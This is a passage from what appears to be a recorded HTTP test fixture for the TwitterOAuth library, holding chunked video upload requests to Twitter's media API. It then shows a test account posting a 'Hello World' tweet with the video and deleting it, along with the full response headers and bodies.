"command=APPEND&media_data=J3dej9UKqVK15biyjHfz9i7o8ub4vtDYvVe6p56ymuLXuj1x8F6tyq7n7BDNS9zyPvy6vtEeTCWpTn7P6L5P4R%2FEGSfit%2BfvAAAEtkGaTJMqBX3XKhPfr36xf9%2F5f%2F75V6a6uT1dV%2FCv%2Fff%2F%2F6v3%2Bi9XE1LXFdXd2iPWT%2BsF5JSXkGO0fvJPXFQiV9amJyXsFGdAUlwjwvCY8id%2FEzjpZzmKy5o7oY%2BO%2BJXvjr9ett92ueXVGdk%2B26uhBT5Vhhil%2FuCIiO%2Ft7qIxsQTtp%2B5aQ779XRvKMafDZRgaooqQmiVDjJthfxCi0u1ab16I0v16tOK%2FnIId%2B3%2F1c%2FLve5XMJzMZf%2Fs9fKjW%2BwnCEGddWs%2FOSe%2F0VtX1xfRP6J0QK%2F1aqWulb9cq9av1qS1qVXk3uXr45f%2B693J0qcr1qb1cirk9GgkFf6PV3Vzcq5S89%2BuFWtVcnrKM9Xr1Yn9Yq9WK9ar1Yv1MCvRpSeUu04m%2FJWonJ%2FWonxRt31NG9%2B90fDui%2Fv5SM7%2FiuddsqTvXvvf%2FNIPotUWj6uepie5vWviFiv16vR9V4bGXuo3z0U%2Fyf3v%2FiiFPaaYU5%2F2G6a6qjNOAvW5Re77Mbm%2Bw5hxyWpFyqDiA%2Fvb5bBnz%2B7v1q5Czf7%2Fiicnk8jOfy7k5%2BVCe8V9V1%2BS79fSI4JKLNcyXxlep3Eb3jiDAF%2FSq%2Fm4difOT5%2FfvtCXG%2Fz3R940PT%2Fu7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eFeHE5PnEC%2Bs2e2nGkhg55PP6TBaTOMF85p8snw0vk2vSlu7T6boWJu97%2BooRaqliiRQx8njpeCE7hkg8vp92GofSu76%2BiB33t3OZz4hM%2BzcNXHqXKFjmP%2ByaN%2BcklJwQLBa%2BziXfeR%2F6xVBbXr0mHf6xfxClUaKKGTpI6YYwwiiPqBOfAgdo%2F%2Bez%2FSCP4QkJP7%2Bg7YbwJvYE847Kk77%2F1IIDQ2Y4X%2F2CfuUYMgYGG5MRaqoEOS64c4oXe733bijO%2Fuz28%2F9ehtRF773spQzfH2qoi0tjkur2eCS%2Byiy%2F568%2FeT69fZ3%2BU%2Bdl16npKZeriKv3Wr566RXX0Fx1EwGMtQdwlAzBZgbX5EkeG3nBFejwe3Slrvv0v0fWhWiEtGI0HJ8%2F4TIkXGD04wmfffaK%2FYesb3MMNkrnGDq7M4wx%2FauHLOgMED7wZWsEm5TDpLnZ91i%2FOVfxre%2FRev1yvE%2B76R0q7yV5PG%2FS6ggOjFMEVDaBIGp0lgSclnrjKP%2BxaMVBx44XtCW7D4y91Y9ttKz7NNUX1dul9r4SEMXoW96OjFff0UTy%2FKaQXSQFo8N5IUCW2c1F9F4LxHDCnGNUooGdJqgPxmk%3D&media_id=1254206535166763008&segment_index=44" - }, - "response": { - "status": { - "http_version": "2", - "code": "204", - "message": "" - }, - "headers": { - "cache-control": "no-cache, no-store, must-revalidate, pre-check=0, post-check=0", - "content-security-policy": "default-src 'self'; connect-src 'self'; font-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com data:; frame-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; img-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com data:; media-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; object-src 'none'; script-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; style-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; report-uri https:\/\/twitter.com\/i\/csp_report?a=OBZG6ZTJNRSWE2LSMQ%3D%3D%3D%3D%3D%3D&ro=false;", - "content-type": "text\/html;charset=utf-8", - "date": "Sun, 26 Apr 2020 00:32:19 GMT", - "expires": "Tue, 31 Mar 1981 05:00:00 GMT", - "last-modified": "Sun, 26 Apr 2020 00:32:19 GMT", - "pragma": "no-cache", - "server": "tsa_b", - "set-cookie": "personalization_id=\"v1_pRNwpIs0rqtt+nhyxYmdqg==\"; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:32:19 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None, lang=en; Path=\/, guest_id=v1%3A158786113965614326; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:32:19 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None", - "status": "204 No Content", - "strict-transport-security": "max-age=631138519", - "vary": "Origin", - "x-access-level": "read-write-directmessages", - "x-connection-hash": "395b0371e2fc50f9cf03d627921ca3e2", - "x-frame-options": "SAMEORIGIN", - "x-mediaid": "1254206535166763008", - "x-rate-limit-limit": "20000", - "x-rate-limit-remaining": "19908", - "x-rate-limit-reset": "1587864356", - "x-response-time": "32", - "x-segmentcount": "0", - "x-totalbytes": "0", - "x-transaction": "00f195f000b50623", - "x-tsa-request-body-time": "61", - "x-twitter-response-tags": "BouncerCompliant", - "x-xss-protection": "1; mode=block" - } - } -},{ - "request": { - "method": "POST", - "url": "https:\/\/upload.twitter.com\/1.1\/media\/upload.json", - "headers": { - "Host": "upload.twitter.com", - "Accept": "application\/json", - "Authorization": "OAuth oauth_version=\"1.0\", oauth_nonce=\"2b67ebbeace76543f356ba8bbd59abde\", oauth_timestamp=\"1587861062\", oauth_consumer_key=\"awJfND4zFGapGOFKfdjg\", oauth_token=\"93915746-KjE3c27dCt8awONxuUAaJ00yishXXwcH5CdLBnO1x\", oauth_signature_method=\"HMAC-SHA1\", oauth_signature=\"cgGQn3hX9hiwo7menxsKRE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xd3NfE8%2BjfthLl%2B%2B%2B%2BzFopvR0E%2BaHn%2B%2B%2B%2Fqqru%2FQ2V8XV0OZXKlZvJXgh8pgglLnP3p0tKruS9HffkXX333318nz3aHyrBmPqEViq%2Fpcu5c%2F%2BifApOuYJRmG%2B%2BzZwgDL%2Bta6KrrnQSX32Ue94rE0WKs39euzeX2Gk98%2FbCD2%2Fw2XFgVcJ2LF%2FYUtbNKXwRSkikvZc9TiObJP7dLn7nxVD8rv0qieXxGnfov2%2BUJJX6uuienuXk9cvS2FSdc6Lr7OI2Vsl8jcipGvLz1IRJCMvoL15Fr%2Fxfw%3D&media_id=1254206535166763008&segment_index=45" - }, - "response": { - "status": { - "http_version": "2", - "code": "204", - "message": "" - }, - "headers": { - "cache-control": "no-cache, no-store, must-revalidate, pre-check=0, post-check=0", - "content-security-policy": "default-src 'self'; connect-src 'self'; font-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com data:; frame-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; img-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com data:; media-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; object-src 'none'; script-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; style-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; report-uri https:\/\/twitter.com\/i\/csp_report?a=OBZG6ZTJNRSWE2LSMQ%3D%3D%3D%3D%3D%3D&ro=false;", - "content-type": "text\/html;charset=utf-8", - "date": "Sun, 26 Apr 2020 00:32:20 GMT", - "expires": "Tue, 31 Mar 1981 05:00:00 GMT", - "last-modified": "Sun, 26 Apr 2020 00:32:20 GMT", - "pragma": "no-cache", - "server": "tsa_b", - "set-cookie": "personalization_id=\"v1_vI1KjXeGGI3FxMX1nLy+5w==\"; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:32:20 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None, lang=en; Path=\/, guest_id=v1%3A158786114035721136; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:32:20 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None", - "status": "204 No Content", - "strict-transport-security": "max-age=631138519", - "vary": "Origin", - "x-access-level": "read-write-directmessages", - "x-connection-hash": "294f8cd9ff67736a60d711b50b97effc", - "x-frame-options": "SAMEORIGIN", - "x-mediaid": "1254206535166763008", - "x-rate-limit-limit": "20000", - "x-rate-limit-remaining": "19907", - "x-rate-limit-reset": "1587864356", - "x-response-time": "34", - "x-segmentcount": "0", - "x-totalbytes": "0", - "x-transaction": "00ce83dd00e2ec0e", - "x-tsa-request-body-time": "64", - "x-twitter-response-tags": "BouncerCompliant", - "x-xss-protection": "1; mode=block" - } - } -},{ - "request": { - "method": "POST", - "url": "https:\/\/upload.twitter.com\/1.1\/media\/upload.json", - "headers": { - "Host": "upload.twitter.com", - "Accept": "application\/json", - "Authorization": "OAuth oauth_version=\"1.0\", oauth_nonce=\"2b67ebbeace76543f356ba8bbd59abde\", oauth_timestamp=\"1587861062\", oauth_consumer_key=\"awJfND4zFGapGOFKfdjg\", oauth_token=\"93915746-KjE3c27dCt8awONxuUAaJ00yishXXwcH5CdLBnO1x\", oauth_signature_method=\"HMAC-SHA1\", oauth_signature=\"QWAfE182LMO14prmP5CpZWU%2BGWU%3D\"", - "Expect": null - }, - "body": "command=APPEND&media_data=600tWQJMiw8tqv5dv%2FnK756PpD0SzNnq%2FDhpb1um37vbVblXnyei%2F%2BCETJaCe%2FdU3dY%2FXfldb0x6ufvryevvlHUyXqvvRt5f%2FzFx2w1ircmhvLpeXxffkJwnejob36vXIr%2Fcn057FBQ4YDfdrvvs51%2FGM%2FXpdfaqcnJnEW3K%2FXup5nFm9JxFz91LXoIsiJLJ%2B64166XR11UX67%2Fo4QX0WOGETzt0nmvhr78QqzfKuXelfaHt81etdxOX5c63Nrb4KUU9o77XWjj1Z35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AABjAAAAdoAAAHCAAAF0AAAB7gAAAZ6AAAJqQAACiwAAAp8AAAMswAACYwAAAlSAAAMBAAADcEAAA90AAAQSAAAEQYAABBhAAAMYwAADDEAAAtCAAAMDQAADzIAAAp7AAANDwAACuAAAAoOAAALawAACHQAAAw2AAAJ5gAABo0AAAT4AAAHigAAB8EAAAnzAAAHxwAACssAAArSAAALdAAADCgAAAqaAAAMYAAADW0AAAw%2BAAAP%2FAAADoIAAAt5AAAN5AAADSQAAAoXAAARqgAAEmUAAA17AAASoAAAE9gAABFJAAAOWQAAEBUAABaBAAAJtAAABusAAAXvAAAFigAAA9cAAAQNAAADuwAABGsAAANAAAADMAAAAt4AAAOuAAAFzwAABGwAAAVpAAAFAAAABqEAAAM1AAAEGgAAA%2FoAAAY9AAAF1gAABGgAAALWAAAEtQAAAtkAAAJ%2FAAACTQAAAn0AAAOMAAACBgAAAgEAAAd%2FAAAF7wAABbgAAAQKAAACmQAAAx0AAAfFAAAFrAAABHgAAAhxAAAImQAACOkAAAiZAAAFcwAAB8cAAAg9AAALWQAACjYAAAa6AAAF%2BQAABy4AAAbrAAAExgAABLoAAAVmAAAEMQAABooAAAbPAAAG%2FgAABJcAAAJDAAAD4gAABAYAAALmAAACawAAAnUAAAAoc3RzYwAAAAAAAAACAAAAAQAAAAQAAAABAAAAKgAAAAIAAAABAAAAuHN0Y28AAAAAAAAAKgAAAKgAAHPmAACL9AAApAgAALdkAADIpQAA19gAAOSlAADsXwAA%2BF8AAQRBAAEfwwABUYUAAYR%2BAAHMpgACA8AAAjxSAAJmdQACihwAArSmAALnZgADIwEAA12sAAOelwAD6mQABCYKAAQ%2BaQAETP8ABGPZAAR%2BQwAEmJsABK2pAAS%2B9wAE15QABO1sAAUOOwAFLckABVnwAAV7ggAFlSsABbPaAAXGZwAAABRzdHNzAAAAAAAAAAEAAAABAAAAsnNkdHAAAAAABERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERAAABn50cmFrAAAAXHRraGQAAAADx8rup8fK7qgAAAACAAAAAAAHpYAAAAAAAAAAAAAAAAABAAAAAAEAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAYEbWRpYQAAACBtZGhkAAAAAMfK7qfHyu6oAAC7gAAEFAAVxwAAAAAAIWhkbHIAAAAAAAAAAHNvdW4AAAAAAAAAAAAAAAAAAAAFu21pbmYAAAAQc21oZAAAAAAAAAAAAAAAJGRpbmYAAAAcZHJlZgAAAAAAAAABAAAADHVybCAAAAABAAAFf3N0YmwAAABnc3RzZAAAAAAAAAABAAAAV21wNGEAAAAAAAAAAQAAAAAAAAAAAAEAEAAAAAC7gAAAAAAAM2VzZHMAAAAAA4CAgCIAAAAEgICAFEAVAAEYAAFl8AABRGsFgICAAhGIBoCAgAECAAAAGHN0dHMAAAAAAAAAAQAAAQUAAAQAAAAEKHN0c3oAAAAAAAAAAAAAAQUAAAD3AAAA2wAAAOEAAADlAAAA6QAAAOgAAADwAAAA8QAAAO8AAADYAAAA5gAAAOcAAADpAAAA6wAAAOoAAADoAAAA4QAAAOcAAADXAAAA2gAAANkAAADbAAAA6QAAAO4AAADlAAAA4QAAAOYAAADlAAAA2AAAAN0AAADdAAAA1QAAAOoAAADdAAAA0AAAANYAAADpAAAAvAAAAKsAAACzAAAAtQAAALwAAADOAAAAtAAAALYAAACzAAAAtgAAALcAAAC%2FAAAAtwAAAM0AAADBAAAAugAAAKcAAAC0AAAAsQAAAL4AAADQAAAAugAAALwAAADEAAAAxgAAAMsAAADEAAAAwwAAAMgAAADSAAAA0gAAANYAAAD1AAAA%2BgAAAPYAAAECAAAA%2FAAAAPwAAADuAAAA5gAAAOoAAADqAAAA6AAAAN4AAADfAAAA5wAAAPYAAAD%2FAAABAwAAAPYAAAEIAAABAwAAAP0AAAEFAAABAgAAAQAAAAEUAAABGAA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5LEABCGZAAQ5ZwAEXcYABHgYAASSagAEp2cABLh%2BAATQbAAE5wwABQfGAAVTXAAFdLwABY6ZAAWuGQAFwOsABctHAAAAFnVkdGEAAAAObmFtZVN0ZXJlbwAAAG91ZHRhAAAAZ21ldGEAAAAAAAAAIWhkbHIAAAAAAAAAAG1kaXIAAAAAAAAAAAAAAAAAAAAAOmlsc3QAAAAyqXRvbwAAACpkYXRhAAAAAQAAAABIYW5kQnJha2UgMC45LjQgMjAwOTExMjMwMAAAAIRmcmVlAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA%3D%3D&media_id=1254206535166763008&segment_index=46" - }, - "response": { - "status": { - "http_version": "2", - "code": "204", - "message": "" - }, - "headers": { - "cache-control": "no-cache, no-store, must-revalidate, pre-check=0, post-check=0", - "content-security-policy": "default-src 'self'; connect-src 'self'; font-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com data:; frame-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; img-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com data:; media-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; object-src 'none'; script-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; style-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; report-uri https:\/\/twitter.com\/i\/csp_report?a=OBZG6ZTJNRSWE2LSMQ%3D%3D%3D%3D%3D%3D&ro=false;", - "content-type": "text\/html;charset=utf-8", - "date": "Sun, 26 Apr 2020 00:32:21 GMT", - "expires": "Tue, 31 Mar 1981 05:00:00 GMT", - "last-modified": "Sun, 26 Apr 2020 00:32:21 GMT", - "pragma": "no-cache", - "server": "tsa_b", - "set-cookie": "personalization_id=\"v1_HPbaNZ+DeDAAtrFzHvR9CA==\"; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:32:21 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None, lang=en; Path=\/, guest_id=v1%3A158786114105175417; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:32:21 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None", - "status": "204 No Content", - "strict-transport-security": "max-age=631138519", - "vary": "Origin", - "x-access-level": "read-write-directmessages", - "x-connection-hash": "5faa60936f0095cdada36f89628ae0ec", - "x-frame-options": "SAMEORIGIN", - "x-mediaid": "1254206535166763008", - "x-rate-limit-limit": "20000", - "x-rate-limit-remaining": "19906", - "x-rate-limit-reset": "1587864356", - "x-response-time": "30", - "x-segmentcount": "0", - "x-totalbytes": "0", - "x-transaction": "00583d5a0012a058", - "x-tsa-request-body-time": "65", - "x-twitter-response-tags": "BouncerCompliant", - "x-xss-protection": "1; mode=block" - } - } -},{ - "request": { - "method": "POST", - "url": "https:\/\/upload.twitter.com\/1.1\/media\/upload.json", - "headers": { - "Host": "upload.twitter.com", - "Accept": "application\/json", - "Authorization": "OAuth oauth_version=\"1.0\", oauth_nonce=\"2b67ebbeace76543f356ba8bbd59abde\", oauth_timestamp=\"1587861062\", oauth_consumer_key=\"awJfND4zFGapGOFKfdjg\", oauth_token=\"93915746-KjE3c27dCt8awONxuUAaJ00yishXXwcH5CdLBnO1x\", oauth_signature_method=\"HMAC-SHA1\", oauth_signature=\"xMvogq%2FzzAEKO8pJIrksDYlKOqk%3D\"", - "Expect": null - }, - "body": "command=FINALIZE&media_id=1254206535166763008" - }, - "response": { - "status": { - "http_version": "2", - "code": "201", - "message": "" - }, - "headers": { - "cache-control": "no-cache, no-store, must-revalidate, pre-check=0, post-check=0", - "content-disposition": "attachment; filename=json.json", - "content-encoding": "gzip", - "content-length": "135", - "content-type": "application\/json;charset=utf-8", - "date": "Sun, 26 Apr 2020 00:32:22 GMT", - "expires": "Tue, 31 Mar 1981 05:00:00 GMT", - "last-modified": "Sun, 26 Apr 2020 00:32:22 GMT", - "pragma": "no-cache", - "server": "tsa_b", - "set-cookie": "personalization_id=\"v1_qkMgnhcw2O5dlZYspX5K7g==\"; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:32:22 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None, lang=en; Path=\/, guest_id=v1%3A158786114169332176; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:32:22 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None", - "status": "201 Created", - "strict-transport-security": "max-age=631138519", - "vary": "Origin", - "x-access-level": "read-write-directmessages", - "x-connection-hash": "bf196b3247af9e6bf4d8fe8f07e205ba", - "x-frame-options": "SAMEORIGIN", - "x-mediaid": "1254206535166763008", - "x-rate-limit-limit": "615", - "x-rate-limit-remaining": "613", - "x-rate-limit-reset": "1587864382", - "x-response-time": "324", - "x-transaction": "007a2eaf00daa375", - "x-tsa-request-body-time": "0", - "x-twitter-response-tags": "BouncerCompliant", - "x-xss-protection": "1; mode=block" - }, - "body": "{\"media_id\":1254206535166763008,\"media_id_string\":\"1254206535166763008\",\"size\":383631,\"expires_after_secs\":86400,\"video\":{\"video_type\":\"video\\\/mp4\"}}" - } -},{ - "request": { - "method": "POST", - "url": "https:\/\/api.twitter.com\/1.1\/statuses\/update.json", - "headers": { - "Host": "api.twitter.com", - "Accept": "application\/json", - "Authorization": "OAuth oauth_version=\"1.0\", oauth_nonce=\"2b67ebbeace76543f356ba8bbd59abde\", oauth_timestamp=\"1587861062\", oauth_consumer_key=\"awJfND4zFGapGOFKfdjg\", oauth_token=\"93915746-KjE3c27dCt8awONxuUAaJ00yishXXwcH5CdLBnO1x\", oauth_signature_method=\"HMAC-SHA1\", oauth_signature=\"pWkPa%2BUCAF4iAZkx9QI2IeFUwRI%3D\"", - "Expect": null - }, - "body": "media_ids=1254206535166763008&status=Hello%20World%201587861062" - }, - "response": { - "status": { - "http_version": "2", - "code": "200", - "message": "" - }, - "headers": { - "cache-control": "no-cache, no-store, must-revalidate, pre-check=0, post-check=0", - "content-disposition": "attachment; filename=json.json", - "content-encoding": "gzip", - "content-length": "1240", - "content-type": "application\/json;charset=utf-8", - "date": "Sun, 26 Apr 2020 00:32:22 GMT", - "expires": "Tue, 31 Mar 1981 05:00:00 GMT", - "last-modified": "Sun, 26 Apr 2020 00:32:22 GMT", - "pragma": "no-cache", - "server": "tsa_b", - "set-cookie": "personalization_id=\"v1_TcHNmSK1nE37GCWbPpQbuQ==\"; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:32:22 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None, lang=en; Path=\/, guest_id=v1%3A158786114261320282; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:32:22 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None", - "status": "200 OK", - "strict-transport-security": "max-age=631138519", - "x-access-level": "read-write-directmessages", - "x-connection-hash": "ca0d9e1ce5dd591b36e8b6f2887e1730", - "x-content-type-options": "nosniff", - "x-frame-options": "SAMEORIGIN", - "x-response-time": "167", - "x-transaction": "0070a65d0013f72b", - "x-tsa-request-body-time": "0", - "x-twitter-response-tags": "BouncerCompliant", - "x-xss-protection": "0" - }, - "body": "{\"created_at\":\"Sun Apr 26 00:32:22 +0000 2020\",\"id\":1254206652397617152,\"id_str\":\"1254206652397617152\",\"text\":\"Hello World 1587861062 https:\\\/\\\/t.co\\\/nQbFmnj7Dq\",\"truncated\":false,\"entities\":{\"hashtags\":[],\"symbols\":[],\"user_mentions\":[],\"urls\":[],\"media\":[{\"id\":1254206535166763008,\"id_str\":\"1254206535166763008\",\"indices\":[23,46],\"media_url\":\"http:\\\/\\\/pbs.twimg.com\\\/ext_tw_video_thumb\\\/1254206535166763008\\\/pu\\\/img\\\/MKS-slO_VH066gld.jpg\",\"media_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/ext_tw_video_thumb\\\/1254206535166763008\\\/pu\\\/img\\\/MKS-slO_VH066gld.jpg\",\"url\":\"https:\\\/\\\/t.co\\\/nQbFmnj7Dq\",\"display_url\":\"pic.twitter.com\\\/nQbFmnj7Dq\",\"expanded_url\":\"https:\\\/\\\/twitter.com\\\/oauthlibtest\\\/status\\\/1254206652397617152\\\/video\\\/1\",\"type\":\"photo\",\"sizes\":{\"large\":{\"w\":560,\"h\":320,\"resize\":\"fit\"},\"thumb\":{\"w\":150,\"h\":150,\"resize\":\"crop\"},\"small\":{\"w\":560,\"h\":320,\"resize\":\"fit\"},\"medium\":{\"w\":560,\"h\":320,\"resize\":\"fit\"}}}]},\"extended_entities\":{\"media\":[{\"id\":1254206535166763008,\"id_str\":\"1254206535166763008\",\"indices\":[23,46],\"media_url\":\"http:\\\/\\\/pbs.twimg.com\\\/ext_tw_video_thumb\\\/1254206535166763008\\\/pu\\\/img\\\/MKS-slO_VH066gld.jpg\",\"media_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/ext_tw_video_thumb\\\/1254206535166763008\\\/pu\\\/img\\\/MKS-slO_VH066gld.jpg\",\"url\":\"https:\\\/\\\/t.co\\\/nQbFmnj7Dq\",\"display_url\":\"pic.twitter.com\\\/nQbFmnj7Dq\",\"expanded_url\":\"https:\\\/\\\/twitter.com\\\/oauthlibtest\\\/status\\\/1254206652397617152\\\/video\\\/1\",\"type\":\"video\",\"sizes\":{\"large\":{\"w\":560,\"h\":320,\"resize\":\"fit\"},\"thumb\":{\"w\":150,\"h\":150,\"resize\":\"crop\"},\"small\":{\"w\":560,\"h\":320,\"resize\":\"fit\"},\"medium\":{\"w\":560,\"h\":320,\"resize\":\"fit\"}},\"video_info\":{\"aspect_ratio\":[7,4],\"duration_millis\":5568,\"variants\":[{\"bitrate\":256000,\"content_type\":\"video\\\/mp4\",\"url\":\"https:\\\/\\\/video.twimg.com\\\/ext_tw_video\\\/1254206535166763008\\\/pu\\\/vid\\\/314x180\\\/HtzyDH6Gqdl5UDwM.mp4?tag=1\"},{\"content_type\":\"application\\\/x-mpegURL\",\"url\":\"https:\\\/\\\/video.twimg.com\\\/ext_tw_video\\\/1254206535166763008\\\/pu\\\/pl\\\/RPouBvpOym-0X8Yr.m3u8?tag=1\"}]},\"additional_media_info\":{\"monetizable\":false}}]},\"source\":\"\\u003ca href=\\\"https:\\\/\\\/twitteroauth.com\\\" rel=\\\"nofollow\\\"\\u003eTwitterOAuth dev\\u003c\\\/a\\u003e\",\"in_reply_to_status_id\":null,\"in_reply_to_status_id_str\":null,\"in_reply_to_user_id\":null,\"in_reply_to_user_id_str\":null,\"in_reply_to_screen_name\":null,\"user\":{\"id\":93915746,\"id_str\":\"93915746\",\"name\":\"OAuth Library Test\",\"screen_name\":\"oauthlibtest\",\"location\":\"\",\"description\":\"\",\"url\":null,\"entities\":{\"description\":{\"urls\":[]}},\"protected\":false,\"followers_count\":58,\"friends_count\":2,\"listed_count\":6,\"created_at\":\"Tue Dec 01 18:37:44 +0000 2009\",\"favourites_count\":0,\"utc_offset\":null,\"time_zone\":null,\"geo_enabled\":true,\"verified\":false,\"statuses_count\":6,\"lang\":null,\"contributors_enabled\":false,\"is_translator\":false,\"is_translation_enabled\":false,\"profile_background_color\":\"C0DEED\",\"profile_background_image_url\":\"http:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_image_url_https\":\"https:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_tile\":false,\"profile_image_url\":\"http:\\\/\\\/abs.twimg.com\\\/sticky\\\/default_profile_images\\\/default_profile_normal.png\",\"profile_image_url_https\":\"https:\\\/\\\/abs.twimg.com\\\/sticky\\\/default_profile_images\\\/default_profile_normal.png\",\"profile_link_color\":\"1DA1F2\",\"profile_sidebar_border_color\":\"C0DEED\",\"profile_sidebar_fill_color\":\"DDEEF6\",\"profile_text_color\":\"333333\",\"profile_use_background_image\":true,\"has_extended_profile\":false,\"default_profile\":true,\"default_profile_image\":true,\"following\":false,\"follow_request_sent\":false,\"notifications\":false,\"translator_type\":\"none\"},\"geo\":null,\"coordinates\":null,\"place\":null,\"contributors\":null,\"is_quote_status\":false,\"retweet_count\":0,\"favorite_count\":0,\"favorited\":false,\"retweeted\":false,\"possibly_sensitive\":false,\"lang\":\"en\"}" - } -},{ - "request": { - "method": "POST", - "url": "https:\/\/api.twitter.com\/1.1\/statuses\/destroy\/1254206652397617152.json", - "headers": { - "Host": "api.twitter.com", - "Accept": "application\/json", - "Authorization": "OAuth oauth_version=\"1.0\", oauth_nonce=\"2b67ebbeace76543f356ba8bbd59abde\", oauth_timestamp=\"1587861062\", oauth_consumer_key=\"awJfND4zFGapGOFKfdjg\", oauth_token=\"93915746-KjE3c27dCt8awONxuUAaJ00yishXXwcH5CdLBnO1x\", oauth_signature_method=\"HMAC-SHA1\", oauth_signature=\"AicdilxiX%2F%2FyTYLn4%2FHVYw7iuiE%3D\"", - "Expect": null - } - }, - "response": { - "status": { - "http_version": "2", - "code": "200", - "message": "" - }, - "headers": { - "cache-control": "no-cache, no-store, must-revalidate, pre-check=0, post-check=0", - "content-disposition": "attachment; filename=json.json", - "content-encoding": "gzip", - "content-length": "1240", - "content-type": "application\/json;charset=utf-8", - "date": "Sun, 26 Apr 2020 00:32:23 GMT", - "expires": "Tue, 31 Mar 1981 05:00:00 GMT", - "last-modified": "Sun, 26 Apr 2020 00:32:23 GMT", - "pragma": "no-cache", - "server": "tsa_b", - "set-cookie": "personalization_id=\"v1_a6ZVfkcIDM\/aQYmimBf2fw==\"; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:32:23 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None, lang=en; Path=\/, guest_id=v1%3A158786114334116680; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:32:23 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None", - "status": "200 OK", - "strict-transport-security": "max-age=631138519", - "x-access-level": "read-write-directmessages", - "x-connection-hash": "bf0b263f4d51d45af76df75606016456", - "x-content-type-options": "nosniff", - "x-frame-options": "SAMEORIGIN", - "x-response-time": "54", - "x-transaction": "00c7bdbf003e3a48", - "x-twitter-response-tags": "BouncerCompliant", - "x-xss-protection": "0" - }, - "body": "{\"created_at\":\"Sun Apr 26 00:32:22 +0000 2020\",\"id\":1254206652397617152,\"id_str\":\"1254206652397617152\",\"text\":\"Hello World 1587861062 https:\\\/\\\/t.co\\\/nQbFmnj7Dq\",\"truncated\":false,\"entities\":{\"hashtags\":[],\"symbols\":[],\"user_mentions\":[],\"urls\":[],\"media\":[{\"id\":1254206535166763008,\"id_str\":\"1254206535166763008\",\"indices\":[23,46],\"media_url\":\"http:\\\/\\\/pbs.twimg.com\\\/ext_tw_video_thumb\\\/1254206535166763008\\\/pu\\\/img\\\/MKS-slO_VH066gld.jpg\",\"media_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/ext_tw_video_thumb\\\/1254206535166763008\\\/pu\\\/img\\\/MKS-slO_VH066gld.jpg\",\"url\":\"https:\\\/\\\/t.co\\\/nQbFmnj7Dq\",\"display_url\":\"pic.twitter.com\\\/nQbFmnj7Dq\",\"expanded_url\":\"https:\\\/\\\/twitter.com\\\/oauthlibtest\\\/status\\\/1254206652397617152\\\/video\\\/1\",\"type\":\"photo\",\"sizes\":{\"large\":{\"w\":560,\"h\":320,\"resize\":\"fit\"},\"thumb\":{\"w\":150,\"h\":150,\"resize\":\"crop\"},\"small\":{\"w\":560,\"h\":320,\"resize\":\"fit\"},\"medium\":{\"w\":560,\"h\":320,\"resize\":\"fit\"}}}]},\"extended_entities\":{\"media\":[{\"id\":1254206535166763008,\"id_str\":\"1254206535166763008\",\"indices\":[23,46],\"media_url\"